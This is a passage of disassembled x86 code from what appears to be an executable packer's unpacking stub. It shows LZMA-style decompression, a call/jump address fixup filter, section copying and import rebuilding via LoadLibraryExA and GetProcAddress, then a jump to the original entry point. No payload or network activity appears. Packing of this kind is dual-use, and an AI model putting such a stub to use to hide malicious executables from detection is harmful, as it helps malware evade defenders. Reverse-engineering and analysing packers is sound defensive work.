3C6ED329h, 7164EE3Bh, 648D24B5h, 0DDABF315h, 864D550h dd 3C59DBABh, 93384D8Ch, 0E4A91608h, 0F430AF39h, 5E10B65Fh dd 520B311Dh, 1E0A8B41h, 0CF7F9D1Eh, 0C20320CDh, 0E0B676D7h dd 0CF42C5E6h, 0B1DCB20h, 282B4A22h, 6830219Bh, 0AE1D8589h dd 423D3D40h, 7373B247h, 62A7C512h, 0AB4EEBB8h, 67207267h dd 268BC87Ah, 911D60FAh, 6F1FC03Eh, 0AE9D4971h, 0C5FB263Ah dd 0AD895839h, 0E65072Bh, 2BC19F2Ah, 5F038A70h, 8EB4B4B3h dd 76673D66h, 0A1907467h, 0D1E243C2h, 5B2AE100h, 0A7F30706h dd 39DB0F21h, 7B5337AEh, 5D640617h, 99C859FBh, 0E455FDABh dd 0D6A78184h, 0C19AC2D3h, 8B7FAEFBh, 0F911A38Dh, 3924DAD6h dd 0A2DBD38Dh, 395EFC01h, 6A0E3143h, 28E7B155h, 0FAACA3D8h dd 0A4E00E18h, 0CDEB94B5h, 4E0824E2h, 5401A664h, 2D59257Fh dd 4157BD1h, 5DE20A8Eh, 483BBDA5h, 0FFBC7CE5h, 125B38h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42B344 proc near ; CODE XREF: sub_42B42C+1E5p ; sub_42B42C+3AAp var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 14h mov eax, [ebp+arg_0] push ebx push esi push edi mov cl, [eax] cmp cl, 0E1h jnb short loc_42B3B6 xor ebx, ebx cmp cl, 2Dh mov [ebp+var_4], ebx jb short loc_42B374 movzx eax, cl push 2Dh xor edx, edx pop esi div esi mov [ebp+var_4], eax loc_42B36E: ; CODE XREF: sub_42B344+2Ej add cl, 0D3h dec eax jnz short loc_42B36E loc_42B374: ; CODE XREF: sub_42B344+1Bj cmp cl, 9 jb short loc_42B38B movzx eax, cl push 9 xor edx, edx pop esi div esi mov ebx, eax loc_42B385: ; CODE XREF: sub_42B344+45j add cl, 0F7h dec eax jnz short loc_42B385 loc_42B38B: ; CODE XREF: sub_42B344+33j movzx esi, cl mov eax, 300h push 4 lea ecx, [esi+ebx] push 1000h shl eax, cl lea edi, [eax+eax+0E6Ch] push edi push 0 call dword_42B110 ; VirtualAlloc test eax, eax mov [ebp+var_C], eax jnz short loc_42B3BB loc_42B3B6: ; CODE XREF: sub_42B344+11j push 1 pop eax jmp short loc_42B418 ; --------------------------------------------------------------------------- loc_42B3BB: ; CODE XREF: sub_42B344+70j lea ecx, [ebp+var_8] push ecx mov ecx, [ebp+arg_4] push 0FFFFFFFFh add ecx, 0FFFFFFFBh push [ebp+arg_8] push ecx mov ecx, [ebp+arg_0] add ecx, 5 push ecx push [ebp+var_4] push ebx push esi push edi push eax call sub_42BE82 add esp, 28h mov esi, [ebp+var_8] xor ebx, ebx mov edi, eax push 8000h push ebx push [ebp+var_C] call dword_42B10C ; VirtualFree lea eax, [ebp+var_10] mov [ebp+var_14], ebx push eax lea eax, [ebp+var_14] push eax push ebx push esi mov [ebp+var_10], 0FFFFFFFBh push [ebp+arg_8] call sub_42BA75 add esp, 14h mov eax, edi loc_42B418: ; CODE XREF: sub_42B344+75j pop edi pop esi pop ebx leave retn sub_42B344 endp ; =============== S U B R O U T I N E ======================================= sub_42B41D proc near ; CODE XREF: sub_42B42C:loc_42B4C5p mov ecx, off_42B004 mov eax, offset sub_42B42C sub eax, [ecx+50h] retn sub_42B41D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42B42C proc near ; CODE XREF: start+189j ; DATA XREF: sub_42B41D+6o var_250 = dword ptr -250h var_24C = dword ptr -24Ch var_248 = dword ptr -248h var_244 = dword ptr -244h var_240 = dword ptr -240h var_23C = dword ptr -23Ch var_238 = dword ptr -238h var_234 = byte ptr -234h var_230 = dword ptr -230h var_22C = dword ptr -22Ch var_228 = dword ptr -228h var_224 = dword ptr -224h var_21C = dword ptr -21Ch var_218 = dword ptr -218h var_211 = byte ptr -211h var_210 = byte ptr -210h var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_104 = byte ptr -104h var_103 = byte ptr -103h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 250h push ebx push esi push edi and [ebp+var_230], 0 rep jmp short loc_42B44E ; --------------------------------------------------------------------------- dw 5865h dd 762D7250h, 352E312Eh db 2Eh, 0 ; --------------------------------------------------------------------------- loc_42B44E: ; CODE XREF: sub_42B42C+13j cmp [ebp+arg_4], 1 jnz short loc_42B45E mov eax, [ebp+arg_0] mov dword_42B014, eax jmp short loc_42B462 ; --------------------------------------------------------------------------- loc_42B45E: ; CODE XREF: sub_42B42C+26j and [ebp+arg_0], 0 loc_42B462: ; CODE XREF: sub_42B42C+30j cmp [ebp+arg_4], 0 jnz short loc_42B47F cmp dword_42B018, 0 jz short loc_42B47F cmp dword_42B014, 0 jz short loc_42B47F jmp loc_42BA73 ; --------------------------------------------------------------------------- loc_42B47F: ; CODE XREF: sub_42B42C+3Aj ; sub_42B42C+43j ... cmp dword_42B00C, 0 jz short loc_42B48D jmp loc_42BA0E ; --------------------------------------------------------------------------- loc_42B48D: ; CODE XREF: sub_42B42C+5Aj mov dword_42B00C, 1 mov eax, dword_42B000 add eax, offset dword_42B000 mov off_42B004, eax mov eax, off_42B004 cmp dword ptr [eax+4Ch], 0 jnz short loc_42B4C5 push 10h push offset aInfo ; "Info" push offset aThisApplicatio ; "This application was packed with an Unr"... push 0 call dword_42B130 ; MessageBoxA loc_42B4C5: ; CODE XREF: sub_42B42C+83j call sub_42B41D mov dword_42B008, eax push 104h lea eax, [ebp+var_210] push eax push [ebp+arg_0] call dword_42B128 ; GetModuleFileNameA lea eax, [ebp+eax+var_211] mov [ebp+var_224], eax loc_42B4F1: ; CODE XREF: sub_42B42C+E0j mov eax, [ebp+var_224] movsx eax, byte ptr [eax] cmp eax, 5Ch jz short loc_42B50E mov eax, [ebp+var_224] dec eax mov [ebp+var_224], eax jmp short loc_42B4F1 ; --------------------------------------------------------------------------- loc_42B50E: ; CODE XREF: sub_42B42C+D1j mov eax, [ebp+var_224] inc eax mov [ebp+var_224], eax mov eax, [ebp+var_224] lea ecx, [ebp+var_210] sub eax, ecx mov [ebp+var_24C], eax mov ecx, [ebp+var_24C] lea esi, [ebp+var_210] lea edi, [ebp+var_104] mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov eax, [ebp+var_24C] and [ebp+eax+var_103], 0 mov eax, dword_42B008 mov [ebp+var_248], eax mov eax, [ebp+var_248] mov ecx, dword_42B008 add ecx, [eax+3Ch] mov [ebp+var_228], ecx mov eax, off_42B004 cmp dword ptr [eax+6Ch], 0 jz loc_42B6BE push 4 push 1000h mov eax, off_42B004 push dword ptr [eax+38h] push 0 call dword_42B110 ; VirtualAlloc mov [ebp+var_240], eax mov eax, [ebp+var_240] mov [ebp+var_238], eax cmp [ebp+var_238], 0 jnz short loc_42B5C3 jmp loc_42BA71 ; --------------------------------------------------------------------------- loc_42B5C3: ; CODE XREF: sub_42B42C+190j mov eax, off_42B004 mov eax, [eax+3Ch] mov [ebp+var_22C], eax mov eax, off_42B004 mov ecx, dword_42B008 add ecx, [eax+44h] mov eax, off_42B004 mov esi, [ebp+var_228] mov eax, [eax+80h] xor edx, edx div dword ptr [esi+3Ch] add ecx, edx mov [ebp+var_218], ecx push [ebp+var_238] mov eax, off_42B004 push dword ptr [eax+38h] push [ebp+var_218] call sub_42B344 add esp, 0Ch jmp short loc_42B628 ; --------------------------------------------------------------------------- loc_42B61B: ; CODE XREF: sub_42B42C+275j mov eax, [ebp+var_230] inc eax mov [ebp+var_230], eax loc_42B628: ; CODE XREF: sub_42B42C+1EDj mov eax, off_42B004 movzx eax, word ptr [eax+78h] cmp [ebp+var_230], eax jge short loc_42B6A6 mov eax, [ebp+var_230] imul eax, 18h mov ecx, off_42B004 mov ecx, [ecx+eax+84h] mov esi, [ebp+var_238] mov eax, [ebp+var_230] imul eax, 18h mov edx, off_42B004 mov edi, dword_42B008 add edi, [edx+eax+88h] mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov eax, [ebp+var_230] imul eax, 18h mov ecx, off_42B004 mov edx, [ebp+var_238] add edx, [ecx+eax+84h] mov [ebp+var_238], edx jmp loc_42B61B ; --------------------------------------------------------------------------- loc_42B6A6: ; CODE XREF: sub_42B42C+20Bj push 8000h push 0 push [ebp+var_240] call dword_42B10C ; VirtualFree jmp loc_42B7E3 ; --------------------------------------------------------------------------- loc_42B6BE: ; CODE XREF: sub_42B42C+15Aj mov eax, off_42B004 mov ecx, dword_42B008 add ecx, [eax+44h] mov eax, off_42B004 sub ecx, [eax+40h] mov eax, off_42B004 mov esi, [ebp+var_228] mov eax, [eax+80h] xor edx, edx div dword ptr [esi+3Ch] add ecx, edx mov [ebp+var_240], ecx and [ebp+var_230], 0 jmp short loc_42B708 ; --------------------------------------------------------------------------- loc_42B6FB: ; CODE XREF: sub_42B42C:loc_42B7DEj mov eax, [ebp+var_230] inc eax mov [ebp+var_230], eax loc_42B708: ; CODE XREF: sub_42B42C+2CDj mov eax, off_42B004 movzx eax, word ptr [eax+78h] cmp [ebp+var_230], eax jge loc_42B7E3 mov eax, [ebp+var_230] imul eax, 18h mov ecx, off_42B004 cmp dword ptr [ecx+eax+7Ch], 0 jz loc_42B7DE mov eax, [ebp+var_230] imul eax, 18h mov ecx, off_42B004 cmp dword ptr [ecx+eax+84h], 0 jbe loc_42B7DE mov eax, [ebp+var_230] imul eax, 18h mov ecx, off_42B004 mov edx, dword_42B008 add edx, [ecx+eax+88h] mov [ebp+var_238], edx mov eax, [ebp+var_230] imul eax, 18h mov ecx, off_42B004 mov eax, [ecx+eax+84h] mov [ebp+var_22C], eax mov eax, [ebp+var_230] imul eax, 18h mov ecx, off_42B004 mov edx, [ebp+var_240] add edx, [ecx+eax+80h] mov [ebp+var_218], edx push [ebp+var_238] mov eax, [ebp+var_230] imul eax, 18h mov ecx, off_42B004 push dword ptr [ecx+eax+84h] push [ebp+var_218] call sub_42B344 add esp, 0Ch loc_42B7DE: ; CODE XREF: sub_42B42C+305j ; sub_42B42C+322j jmp loc_42B6FB ; --------------------------------------------------------------------------- loc_42B7E3: ; CODE XREF: sub_42B42C+28Dj ; sub_42B42C+2EBj mov eax, off_42B004 mov ecx, dword_42B008 add ecx, [eax+5Ch] mov [ebp+var_244], ecx loc_42B7F7: ; CODE XREF: sub_42B42C+5C9j mov eax, [ebp+var_244] cmp dword ptr [eax+0Ch], 0 jz loc_42B9FA mov eax, off_42B004 cmp dword ptr [eax+5Ch], 0 jz loc_42B9FA lea eax, [ebp+var_234] push eax push 40h push 14h push [ebp+var_244] call dword_42B124 ; VirtualProtect mov eax, [ebp+var_244] mov ecx, dword_42B008 add ecx, [eax+0Ch] mov [ebp+var_10C], ecx push [ebp+var_10C] call dword_42B120 ; GetModuleHandleA mov [ebp+var_23C], eax cmp [ebp+var_23C], 0 jnz short loc_42B873 push 8 push 0 push [ebp+var_10C] call dword_42B11C ; LoadLibraryExA mov [ebp+var_23C], eax loc_42B873: ; CODE XREF: sub_42B42C+42Fj cmp [ebp+var_23C], 0 jnz short loc_42B8C5 mov edi, [ebp+var_10C] mov eax, [ebp+var_24C] lea eax, [ebp+eax+var_104] mov edx, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov esi, edi mov eax, ecx mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb push 8 push 0 lea eax, [ebp+var_104] push eax call dword_42B11C ; LoadLibraryExA mov [ebp+var_23C], eax loc_42B8C5: ; CODE XREF: sub_42B42C+44Ej cmp [ebp+var_23C], 0 jnz short loc_42B8D3 jmp loc_42BA6F ; --------------------------------------------------------------------------- loc_42B8D3: ; CODE XREF: sub_42B42C+4A0j mov eax, [ebp+var_244] mov ecx, dword_42B008 add ecx, [eax+10h] mov [ebp+var_21C], ecx mov eax, [ebp+var_244] cmp dword ptr [eax], 0 jnz short loc_42B901 mov eax, [ebp+var_21C] mov [ebp-214h], eax jmp short loc_42B915 ; --------------------------------------------------------------------------- loc_42B901: ; CODE XREF: sub_42B42C+4C5j mov eax, [ebp+var_244] mov ecx, dword_42B008 add ecx, [eax] mov [ebp-214h], ecx loc_42B915: ; CODE XREF: sub_42B42C+4D3j ; sub_42B42C+5B5j mov eax, [ebp-214h] cmp dword ptr [eax], 0 jz loc_42B9E6 and [ebp+var_250], 0 mov eax, [ebp-214h] mov eax, [eax] and eax, 80000000h test eax, eax jz short loc_42B961 mov eax, [ebp-214h] mov eax, [eax] and eax, 0FFFFh movzx eax, ax push eax push [ebp+var_23C] call dword_42B118 ; GetProcAddress mov [ebp+var_250], eax jmp short loc_42B990 ; --------------------------------------------------------------------------- loc_42B961: ; CODE XREF: sub_42B42C+50Ej mov eax, [ebp-214h] mov eax, [eax] add eax, dword_42B008 mov [ebp+var_108], eax mov eax, [ebp+var_108] inc eax inc eax push eax push [ebp+var_23C] call dword_42B118 ; GetProcAddress mov [ebp+var_250], eax loc_42B990: ; CODE XREF: sub_42B42C+533j cmp [ebp+var_250], 0 jnz short loc_42B99E jmp loc_42BA6D ; --------------------------------------------------------------------------- loc_42B99E: ; CODE XREF: sub_42B42C+56Bj lea eax, [ebp+var_234] push eax push 40h push 4 push [ebp+var_21C] call dword_42B124 ; VirtualProtect mov eax, [ebp+var_21C] mov ecx, [ebp+var_250] mov [eax], ecx mov eax, [ebp-214h] add eax, 4 mov [ebp-214h], eax mov eax, [ebp+var_21C] add eax, 4 mov [ebp+var_21C], eax jmp loc_42B915 ; --------------------------------------------------------------------------- loc_42B9E6: ; CODE XREF: sub_42B42C+4F2j mov eax, [ebp+var_244] add eax, 14h mov [ebp+var_244], eax jmp loc_42B7F7 ; --------------------------------------------------------------------------- loc_42B9FA: ; CODE XREF: sub_42B42C+3D5j ; sub_42B42C+3E4j mov eax, off_42B004 mov ecx, dword_42B008 add ecx, [eax+48h] mov dword_42B01C, ecx loc_42BA0E: ; CODE XREF: sub_42B42C+5Cj cmp dword_42B010, 0 jz short loc_42BA2A push 8000h push 0 push dword_42B010 call dword_42B10C ; VirtualFree loc_42BA2A: ; CODE XREF: sub_42B42C+5E9j mov eax, dword_42B01C pop edi pop esi pop ebx mov esp, ebp pop ebp push eax mov eax, off_42B004 cmp dword ptr [eax+48h], 0 jnz short loc_42BA46 pop eax xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_42BA46: ; CODE XREF: sub_42B42C+613j pop eax jmp eax ; --------------------------------------------------------------------------- loc_42BA49: ; CODE XREF: sub_42B42C:loc_42BA6Dj ; sub_42B42C:loc_42BA6Fj ... cmp dword_42B010, 0 jz short loc_42BA65 push 8000h push 0 push dword_42B010 call dword_42B10C ; VirtualFree loc_42BA65: ; CODE XREF: sub_42B42C+624j push 0 call dword_42B114 ; ExitProcess loc_42BA6D: ; CODE XREF: sub_42B42C+56Dj jmp short loc_42BA49 ; --------------------------------------------------------------------------- loc_42BA6F: ; CODE XREF: sub_42B42C+4A2j jmp short loc_42BA49 ; --------------------------------------------------------------------------- loc_42BA71: ; CODE XREF: sub_42B42C+192j jmp short loc_42BA49 ; --------------------------------------------------------------------------- loc_42BA73: ; CODE XREF: sub_42B42C+4Ej jmp short loc_42BA49 sub_42B42C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42BA75 proc near ; CODE XREF: sub_42B344+CAp var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_B = byte ptr -0Bh var_A = byte ptr -0Ah var_9 = byte ptr -9 var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 2Ch push ebx push esi push edi push 1 mov esi, [ebp+arg_C] pop ecx mov [ebp+var_2C], ecx mov [ebp+var_28], ecx mov [ebp+var_24], ecx xor eax, eax and [ebp+var_C], al mov [ebp+var_1C], ecx mov [ebp+var_B], cl mov ecx, [ebp+arg_4] add ecx, 0FFFFFFFBh mov [ebp+var_20], eax mov [ebp+var_18], eax mov [ebp+var_14], eax mov [ebp+var_10], eax mov [ebp+var_A], 2 mov [ebp+var_9], 2 mov [ebp+var_8], 3 mov [ebp+var_7], 3 mov [ebp+var_6], 3 mov [ebp+var_5], 3 mov [ebp+var_4], ecx loc_42BAC5: ; CODE XREF: sub_42BA75+16Fj mov edi, [ebp+arg_0] mov cl, [eax+edi] cmp cl, 0E8h jz short loc_42BADB cmp cl, 0E9h jz short loc_42BADB inc eax jmp loc_42BBE1 ; --------------------------------------------------------------------------- loc_42BADB: ; CODE XREF: sub_42BA75+59j ; sub_42BA75+5Ej mov edx, [ebp+arg_10] mov ebx, [ebp+arg_8] mov ecx, eax sub ecx, [edx] add ecx, ebx add ebx, eax cmp ecx, 5 mov [edx], ebx jbe short loc_42BAF5 and dword ptr [esi], 0 jmp short loc_42BB05 ; --------------------------------------------------------------------------- loc_42BAF5: ; CODE XREF: sub_42BA75+79j test ecx, ecx jbe short loc_42BB05 loc_42BAF9: ; CODE XREF: sub_42BA75+8Ej mov edx, [esi] and edx, 77h shl edx, 1 dec ecx mov [esi], edx jnz short loc_42BAF9 loc_42BB05: ; CODE XREF: sub_42BA75+7Ej ; sub_42BA75+82j mov dl, [eax+edi+4] test dl, dl jz short loc_42BB16 cmp dl, 0FFh jnz loc_42BBCD loc_42BB16: ; CODE XREF: sub_42BA75+96j mov ecx, [esi] mov [ebp+arg_4], ecx shr [ebp+arg_4], 1 mov ebx, [ebp+arg_4] and ebx, 7 cmp [ebp+ebx*4+var_2C], 0 jz loc_42BBCD and ecx, 0FFFFFFFEh cmp ecx, 20h jnb loc_42BBCD xor ecx, ecx mov ch, dl mov cl, [eax+edi+3] movzx edx, byte ptr [eax+edi+2] shl ecx, 8 or ecx, edx movzx edx, byte ptr [eax+edi+1] shl ecx, 8 or edx, ecx loc_42BB57: ; CODE XREF: sub_42BA75+125j sub edx, eax sub edx, [ebp+arg_8] sub edx, 5 cmp dword ptr [esi], 0 mov ebx, edx jz short loc_42BB9F mov ecx, [ebp+arg_4] push 18h movzx edi, [ebp+ecx+var_C] mov ecx, edi shl ecx, 3 mov edx, ecx pop ecx sub ecx, edx mov edx, ebx shr edx, cl test dl, dl jz short loc_42BB87 cmp dl, 0FFh jnz short loc_42BB9C loc_42BB87: ; CODE XREF: sub_42BA75+10Bj push 4 pop ecx sub ecx, edi push 1 shl ecx, 3 pop edx mov edi, [ebp+arg_0] shl edx, cl dec edx xor edx, ebx jmp short loc_42BB57 ; --------------------------------------------------------------------------- loc_42BB9C: ; CODE XREF: sub_42BA75+110j mov edi, [ebp+arg_0] loc_42BB9F: ; CODE XREF: sub_42BA75+EFj mov ecx, ebx add eax, 5 shr ecx, 18h and cl, 1 dec cl not cl mov [eax+edi-1], cl mov ecx, ebx shr ecx, 10h mov [eax+edi-2], cl mov ecx, ebx shr ecx, 8 mov [eax+edi-3], cl mov [eax+edi-4], bl and dword ptr [esi], 0 jmp short loc_42BBE1 ; --------------------------------------------------------------------------- loc_42BBCD: ; CODE XREF: sub_42BA75+9Bj ; sub_42BA75+B4j ... or dword ptr [esi], 1 mov ecx, [esi] inc eax test dl, dl jz short loc_42BBDC cmp dl, 0FFh jnz short loc_42BBE1 loc_42BBDC: ; CODE XREF: sub_42BA75+160j or ecx, 10h mov [esi], ecx loc_42BBE1: ; CODE XREF: sub_42BA75+61j ; sub_42BA75+156j ... cmp eax, [ebp+var_4] jbe loc_42BAC5 pop edi pop esi pop ebx leave retn sub_42BA75 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42BBEF proc near ; CODE XREF: sub_42BE82+309p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov ecx, [ebp+arg_0] mov edx, [ebp+arg_4] push esi xor eax, eax mov esi, [ecx+8] push edi mov edi, [ecx+0Ch] test edx, edx jle short loc_42BC47 push ebx mov [ebp+arg_0], edx loc_42BC0A: ; CODE XREF: sub_42BBEF+55j shr esi, 1 shl eax, 1 cmp edi, esi jb short loc_42BC16 sub edi, esi or al, 1 loc_42BC16: ; CODE XREF: sub_42BBEF+21j cmp esi, 1000000h jnb short loc_42BC41 mov edx, [ecx] shl esi, 8 cmp edx, [ecx+4] jnz short loc_42BC34 mov dword ptr [ecx+10h], 1 or bl, 0FFh jmp short loc_42BC39 ; --------------------------------------------------------------------------- loc_42BC34: ; CODE XREF: sub_42BBEF+37j mov bl, [edx] inc edx mov [ecx], edx loc_42BC39: ; CODE XREF: sub_42BBEF+43j movzx edx, bl shl edi, 8 or edi, edx loc_42BC41: ; CODE XREF: sub_42BBEF+2Dj dec [ebp+arg_0] jnz short loc_42BC0A pop ebx loc_42BC47: ; CODE XREF: sub_42BBEF+15j mov [ecx+0Ch], edi mov [ecx+8], esi pop edi pop esi pop ebp retn sub_42BBEF endp ; =============== S U B R O U T I N E ======================================= sub_42BC51 proc near ; CODE XREF: sub_42BD16+1Dp ; sub_42BD4D+1Ep ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] mov edx, [esp+arg_0] push esi push edi mov eax, [ecx+8] movzx esi, word ptr [edx] mov edi, eax shr edi, 0Bh imul edi, esi mov esi, [ecx+0Ch] cmp esi, edi jnb short loc_42BCC2 mov [ecx+8], edi mov ax, [edx] movzx esi, ax mov edi, 800h sub edi, esi sar edi, 5 add edi, eax mov [edx], di mov eax, [ecx+8] cmp eax, 1000000h jnb short loc_42BCBE mov esi, [ecx] cmp esi, [ecx+4] jnz short loc_42BCA5 mov dword ptr [ecx+10h], 1 or dl, 0FFh jmp short loc_42BCAA ; --------------------------------------------------------------------------- loc_42BCA5: ; CODE XREF: sub_42BC51+46j mov dl, [esi] inc esi mov [ecx], esi loc_42BCAA: ; CODE XREF: sub_42BC51+52j mov esi, [ecx+0Ch] movzx edx, dl shl esi, 8 or esi, edx shl eax, 8 mov [ecx+0Ch], esi mov [ecx+8], eax loc_42BCBE: ; CODE XREF: sub_42BC51+3Fj xor eax, eax jmp short loc_42BD13 ; --------------------------------------------------------------------------- loc_42BCC2: ; CODE XREF: sub_42BC51+1Dj sub eax, edi sub esi, edi mov [ecx+8], eax mov [ecx+0Ch], esi mov ax, [edx] push 1 mov si, ax shr si, 5 sub eax, esi mov [edx], ax mov edx, [ecx+8] cmp edx, 1000000h pop eax jnb short loc_42BD13 mov esi, [ecx] push ebx cmp esi, [ecx+4] jnz short loc_42BCF9 mov [ecx+10h], eax or bl, 0FFh jmp short loc_42BCFE ; --------------------------------------------------------------------------- loc_42BCF9: ; CODE XREF: sub_42BC51+9Ej mov bl, [esi] inc esi mov [ecx], esi loc_42BCFE: ; CODE XREF: sub_42BC51+A6j mov esi, [ecx+0Ch] movzx edi, bl shl esi, 8 or esi, edi pop ebx shl edx, 8 mov [ecx+0Ch], esi mov [ecx+8], edx loc_42BD13: ; CODE XREF: sub_42BC51+6Fj ; sub_42BC51+96j pop edi pop esi retn sub_42BC51 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42BD16 proc near ; CODE XREF: sub_42BE0D+26p ; sub_42BE0D+51p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_4], 0 push 1 pop eax jle short loc_42BD41 push esi push edi mov edi, [ebp+arg_4] loc_42BD27: ; CODE XREF: sub_42BD16+27j push [ebp+arg_8] lea esi, [eax+eax] mov eax, [ebp+arg_0] add eax, esi push eax call sub_42BC51 pop ecx add eax, esi dec edi pop ecx jnz short loc_42BD27 pop edi pop esi loc_42BD41: ; CODE XREF: sub_42BD16+Aj mov ecx, [ebp+arg_4] push 1 pop edx shl edx, cl sub eax, edx pop ebp retn sub_42BD16 endp ; =============== S U B R O U T I N E ======================================= sub_42BD4D proc near ; CODE XREF: sub_42BE82+2F5p ; sub_42BE82+320p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push edi xor ebx, ebx push 1 xor edi, edi cmp [esp+0Ch+arg_4], ebx pop edx jle short loc_42BD83 push esi loc_42BD5D: ; CODE XREF: sub_42BD4D+33j mov eax, [esp+0Ch+arg_0] push [esp+0Ch+arg_8] lea esi, [edx+edx] add eax, esi push eax call sub_42BC51 pop ecx lea edx, [esi+eax] pop ecx mov ecx, edi shl eax, cl or ebx, eax inc edi cmp edi, [esp+0Ch+arg_4] jl short loc_42BD5D pop esi loc_42BD83: ; CODE XREF: sub_42BD4D+Dj mov eax, ebx pop edi pop ebx retn sub_42BD4D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42BD88 proc near ; CODE XREF: sub_42BE82+143p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp push ebx push esi movzx esi, [ebp+arg_8] shr esi, 7 shl [ebp+arg_8], 1 mov eax, esi push edi mov edi, [ebp+arg_0] push [ebp+arg_4] shl eax, 9 lea eax, [eax+edi+202h] push eax call sub_42BC51 pop ecx mov ebx, eax pop ecx or ebx, 2 loc_42BDB7: ; CODE XREF: sub_42BD88+5Fj cmp esi, eax jnz short loc_42BDE9 cmp ebx, 100h jge short loc_42BE06 movzx esi, [ebp+arg_8] shr esi, 7 push [ebp+arg_4] lea eax, [esi+1] shl [ebp+arg_8], 1 shl eax, 8 add eax, ebx lea eax, [edi+eax*2] push eax call sub_42BC51 pop ecx add ebx, ebx pop ecx or ebx, eax jmp short loc_42BDB7 ; --------------------------------------------------------------------------- loc_42BDE9: ; CODE XREF: sub_42BD88+31j mov esi, 100h loc_42BDEE: ; CODE XREF: sub_42BD88+7Cj cmp ebx, esi jge short loc_42BE06 push [ebp+arg_4] add ebx, ebx lea eax, [ebx+edi] push eax call sub_42BC51 pop ecx or ebx, eax pop ecx jmp short loc_42BDEE ; --------------------------------------------------------------------------- loc_42BE06: ; CODE XREF: sub_42BD88+39j ; sub_42BD88+68j pop edi mov al, bl pop esi pop ebx pop ebp retn sub_42BD88 endp ; =============== S U B R O U T I N E ======================================= sub_42BE0D proc near ; CODE XREF: sub_42BE82+24Fp ; sub_42BE82+29Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_0] push edi mov edi, [esp+8+arg_4] push edi push esi call sub_42BC51 pop ecx pop ecx test eax, eax push edi jnz short loc_42BE3D mov eax, [esp+0Ch+arg_8] push 3 shl eax, 4 lea eax, [eax+esi+4] push eax call sub_42BD16 add esp, 0Ch jmp short loc_42BE7F ; --------------------------------------------------------------------------- loc_42BE3D: ; CODE XREF: sub_42BE0D+16j lea eax, [esi+2] push eax call sub_42BC51 pop ecx pop ecx test eax, eax push edi jnz short loc_42BE6B mov eax, [esp+0Ch+arg_8] push 3 shl eax, 4 lea eax, [eax+esi+104h] push eax call sub_42BD16 add esp, 0Ch add eax, 8 jmp short loc_42BE7F ; --------------------------------------------------------------------------- loc_42BE6B: ; CODE XREF: sub_42BE0D+3Ej add esi, 204h push 8 push esi call sub_42BD16 add esp, 0Ch add eax, 10h loc_42BE7F: ; CODE XREF: sub_42BE0D+2Ej ; sub_42BE0D+5Cj pop edi pop esi retn sub_42BE0D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42BE82 proc near ; CODE XREF: sub_42B344+95p var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch push ebp mov ebp, esp sub esp, 34h mov eax, [ebp+arg_8] push ebx push esi push edi mov edi, [ebp+arg_C] push 1 pop edx xor bl, bl lea ecx, [eax+edi] mov eax, 300h shl eax, cl xor ecx, ecx mov esi, edx mov [ebp+var_4], ecx mov [ebp+var_14], ecx mov [ebp+arg_C], ecx mov ecx, [ebp+arg_10] shl esi, cl add eax, 736h mov ecx, edi mov [ebp+var_8], edx mov [ebp+var_10], edx mov [ebp+var_C], edx mov [ebp+var_18], edx dec esi mov [ebp+var_1C], esi mov esi, edx shl esi, cl dec esi mov [ebp+var_20], esi mov esi, [ebp+arg_0] test eax, eax jbe short loc_42BEEA mov ecx, eax mov eax, 4000400h mov edi, esi shr ecx, 1 rep stosd adc ecx, ecx rep stosw loc_42BEEA: ; CODE XREF: sub_42BE82+54j mov eax, [ebp+arg_14] mov ecx, [ebp+arg_18] and [ebp+var_24], 0 and [ebp+var_28], 0 or [ebp+var_2C], 0FFFFFFFFh lea edi, [eax+ecx] mov 